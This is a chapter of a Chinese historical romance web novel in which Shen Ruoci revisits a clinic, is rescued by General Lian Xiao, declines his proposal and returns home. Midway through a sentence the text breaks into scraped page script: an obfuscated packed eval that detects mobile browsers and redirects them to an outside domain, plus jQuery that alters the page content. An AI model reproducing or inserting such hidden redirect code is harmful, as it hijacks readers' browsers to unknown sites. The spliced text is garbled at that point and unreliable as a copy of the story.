从前她隔三差五跑去医馆学习,也算学有所成。罗医娘不在的时候,她还能担起一二,跟其他师姐师妹一起坐堂问诊,看一些寻常小病。
而今因病去不了,以后她要入宫,怕是更没有了机会。
翌日清晨,天晴无风,沈若辞出发去了一趟医馆。
马车停在巷口,医馆在小巷子中段,她步行过去。
未曾走到正门,她已迫不及待地喊了一声,“阿成哥……”
大门口洒扫的小伙远远望见她,撑着笤帚,喜出望外地朝里边喊了一声,“沈姑娘来啦。”
说着又回头朝她笑了笑,“沈姑娘,你这可是两年没来了,大伙儿都以为你嫁人去了呢。”
“可不是嘛!”大伙儿热热闹闹地把她迎了进去。
她脸上蒙着面纱,掩去了容貌。两年没来了,这里的一草一木都变了样,但大家的热情却始终没有变过,一眼就将她认了出来。
医馆里的人,多多少少都懂些医术,她病了两年,病容憔悴,恐怕一眼就能看出端倪。
沈若辞是个报喜不报忧的性子,不喜欢别人为她的私事担忧,干脆像昔日对外坐堂问诊一样,蒙上了面纱。
医馆里每日迎来送往,看病的人络绎不绝,人多口杂,众人都养成好习惯,坐诊的时候蒙上面纱,以防被病人传染。
这些医女只知道沈若辞的富贵人家的小姐,具体家里做什么却从不打听。
众人说起罗医娘的事,忍不住抱怨起来,“咱师父是个狠心的,出去两年都不回来。等师父回来了,我还想去去求求她,让她将压箱底的易容术教一教我,以后便横行无阻了……”
这本是一句玩笑话,却无意间勾起了沈若辞的记忆,她隐约记得,罗医娘曾教过她易容术。
最后学没学成,她给忘了。
说起没回来的人,大师姐又想起来另一个人,“你说师父狠心不回来就算了,阿赫作为咱师父的关门男弟子,两年来别说见上一面,消息都没有半点。”
沈若辞有些吃惊,“阿赫也没有回来过吗?”阿赫当年对医术表现出巨大的兴趣和天赋,当时她觉得不出意外,这人就要以行医作为自己终身的事业了,哪成想他当初临时有事离开后,就再也没有回来了。
“是啊,你人虽没回来,但是隔三差五地差人给医馆送东西,阿赫跟你不一样,他是人都石沉大海了。”
“你别说,这阿赫据说是富贵人家的公子,可能忙着继承家业呢,根本不记得我们了。”
几个好姐妹说说笑笑,陆续有病人进来,众人也不好耽误病人看病,才依依不舍地放沈若辞离开。
从医馆出来的时候,她人是很开心的,但是脑袋隐隐作痛。
她忘却了一些事,偶尔听别人提起或者自己脑中捕捉到一些碎影,努力回想的话,就很容易犯头痛。
阿茉在马车上等着她,见她回来,也没发现异样。二人坐着马车准备回相府,车厢里有些闷,沈若辞让阿茉撩开车帘透透气。
阿茉扒着车窗看外边的风景,突然眼前一亮,叫停了马车。
她回过头来,有些惊喜,“小姐,是南山里种茶花的老伯。”
沈若辞抬起头,顺着车帘的间隙望出去,果然是他。
两个月前老伯曾说过培育了新的茶花品种,下回赶集带过来。
倒是赶巧,让她给遇到了。可能老天都知道她不能留在父亲身边尽孝,给她最后一点弥补的机会。
阿茉扶着沈若辞下了马车,二人朝街角的摊位走了过去。
卖花的老伯一看老顾客来了,笑眯眯地打了声招呼,亮出他精心培养的茶花苗。
街角摊位密集,叫卖声此起彼伏,热闹非凡。阿茉吩咐车夫将花苗搬上马车,不远处有少年策马疾驰而来,马蹄声淹没在闹市中。
等少年的马来到跟前,人群才后知后觉地往一旁撤开。
沈若辞原本不会被冲撞到,但着急躲闪的行人过于慌张,直接撞到她的身上。
旁边就是炸油糕的摊子,热油滚烫,阿茉回过神来的时候,就发现她们小姐被推向了热油锅。
一颗心霎时间提到了嗓子眼,连话都喊不出来。
沈若辞察觉不对劲的时候,身子已经不受控制地倾倒下去……电光火石之间,背心被一股力道紧紧攥住,身子止住了下坠,下一秒整个人被提了起来。
小摊子的油锅还在冒着气泡,沈若辞惊魂未定,目光还死死地盯着翻滚起伏的热油,摊主早已被吓得面色铁青。
始作俑者的少年已挥鞭远去,身后的人在她耳边嗤笑一声,“沈姑娘胆子及不上沈相半分。”
沈若辞一下子听出连骁的声音,她面色苍白,嘴唇还在颤抖,无力地唤了一声“连将军”,身子就软绵绵地瘫了下去。
连骁皱了皱眉头,粗鲁地推了一下怀中的女子。见她不省人事,模样可怜兮兮的,心头生出几分同情。当下拉了缰绳,一夹马腹,将人带离了闹市。
阿茉见状,赶紧叫上车夫跟了上去。
将军府里,连骁抱着昏迷的女子,前脚刚进了客房,就命人去请大夫过来。
阿茉紧跟着连骁的马,晚一步到了将军府。
沈若辞纤细的身子陷在锦被中,眉眼昳丽,樱唇紧紧地抿着。
连骁双臂交叉抱在胸前,居高临下地看着那小丫鬟快速拿出随身携带的药丸,喂她吃下一颗,又喂了几口温水,那女子总算慢慢地醒转过来。
他无意识地松了一口气,眉心的郁结渐渐散去,“沈相的女儿,一点小事都能吓晕过去?”
沈若辞受了他的恩惠,对他的讥诮也不生气,反而感激一笑,落落大方道,“多谢连将军相救。”
那小脸艳若桃花,模样明晃晃的,勾人得很。连骁意味不明地笑了一声,沈相也将女儿藏得够深。这样的绝色,盛京怕没人能比得上!
以前沈相大权在握,也不怕人觊觎,眼下她没了保护,若直接把这朵弱不禁风的娇花养在后宅,倒也是件美事。
他对女人向来直来直去,心中有了想法,便直接问道,“连某尚未娶妻,有意与沈家结秦晋之好,沈姑娘看如何?”
朝中各党派的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404482|184415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
势力错综复杂,每一件看似简单的事情,背后可能有不为人知的用意。连骁欲与她结亲,其中藏了什么意图,她也不想去猜。
但这般直白的“追求”,沈若辞还是头一回遇到,她心里觉得好笑,面上不显,推脱道,“蒙将军错爱,若辞暂无嫁人的意愿。”
这拒绝倒是挺委婉。
连骁十几岁就尝过女人的滋味,已不是毛毛躁躁的急色少年。而今又身居高位,就算存了点心思,也不会做出强迫于人的手段。
他只是皱了皱眉头,当对方是出于害羞或是不好意思直接答应的推辞之词,便也顺势给了台阶,“沈姑娘其实不必这么快给答复。”
沈若辞浅浅一笑,也不作回应。
这笑容美得炫目,连骁没理由这么容易就放弃。皇帝那边他走动了几次,听口气是认同他的提议。他大可以先进宫求元栩赐婚,等过阵子沈相出狱后,他再名正言顺地前去相府求娶。
兔子一样乖顺的女子,他保护起来丝毫不费力气,这样想来,适才被拒绝那点气闷消失无踪,心情也很是畅快。
沈若辞也不便久留,再三谢过连骁,便带着阿茉离开了将军府。
连骁看着是个不好说话的,但令沈若辞吃惊的是,对方竟然也是个细心的人,担心她路上再次遇到危险,竟不顾沈若辞反对,坚持将人送回了相府。
沈若辞跟阿茉坐在马车里,连骁骑着马在外边护送,马车经过国公府大门,往前边的巷子进去,最后停在相府门口。
沈若辞掀开车帘,一眼就看到站在门口的袁子逸,她的脸色瞬间变了变,迟疑着没有马上下车。袁子逸见状三步并作两步,直接来到车前,准备伸出手扶她下来。却不想被连骁抢了个先,沈若辞也顺势扶着连骁的手臂下了车。
在沈若辞面前扑了空,袁子逸瞬间红了眼。
方才他从府中出来透透气,不知不觉竟又走到相府门口,国公府的仆从看情况不对,立马回府里禀报了袁国公。
国公爷早就对儿子的懦弱固执失望透顶,当即表示不再去干预他的事,袁妙莹却担心兄长跟沈若辞这种罪臣之女藕断丝连,会影响到她日后入宫当皇后,便主动前去相府拉人。
哪知一来,就看见沈若辞扶着连骁的手下车,当场就开口嘲讽,“大哥你看,水性杨花的女人!”转头又看向袁子逸,得意洋洋地说道,“我跟你说了人家有别的男人,你还不相信,现在睁大你的眼睛好好看看,看清楚了免得说我骗你,执迷不悟!”
袁妙莹没有指名道姓,沈若辞也当做没听到,她身子本来就不舒服,谢过连骁之后就扶着阿茉的手进了府里。
连骁虽不知事情原委,但还是冷冷地瞥了袁妙莹一眼,这一眼,看得袁妙莹脊背发凉,顿时没了方才猖狂的劲儿。她见连骁气度非凡,也不敢造次,只好憋着气回国公府去,袁子逸她也不想管了。
连骁策马离开,偌大的巷子里只留下袁子逸一人,他叹了口气,转身准备离开。
“袁公子且慢,在下有几句话要跟你说。”宋临抱着剑倚在墙头,看来等他有些时候了。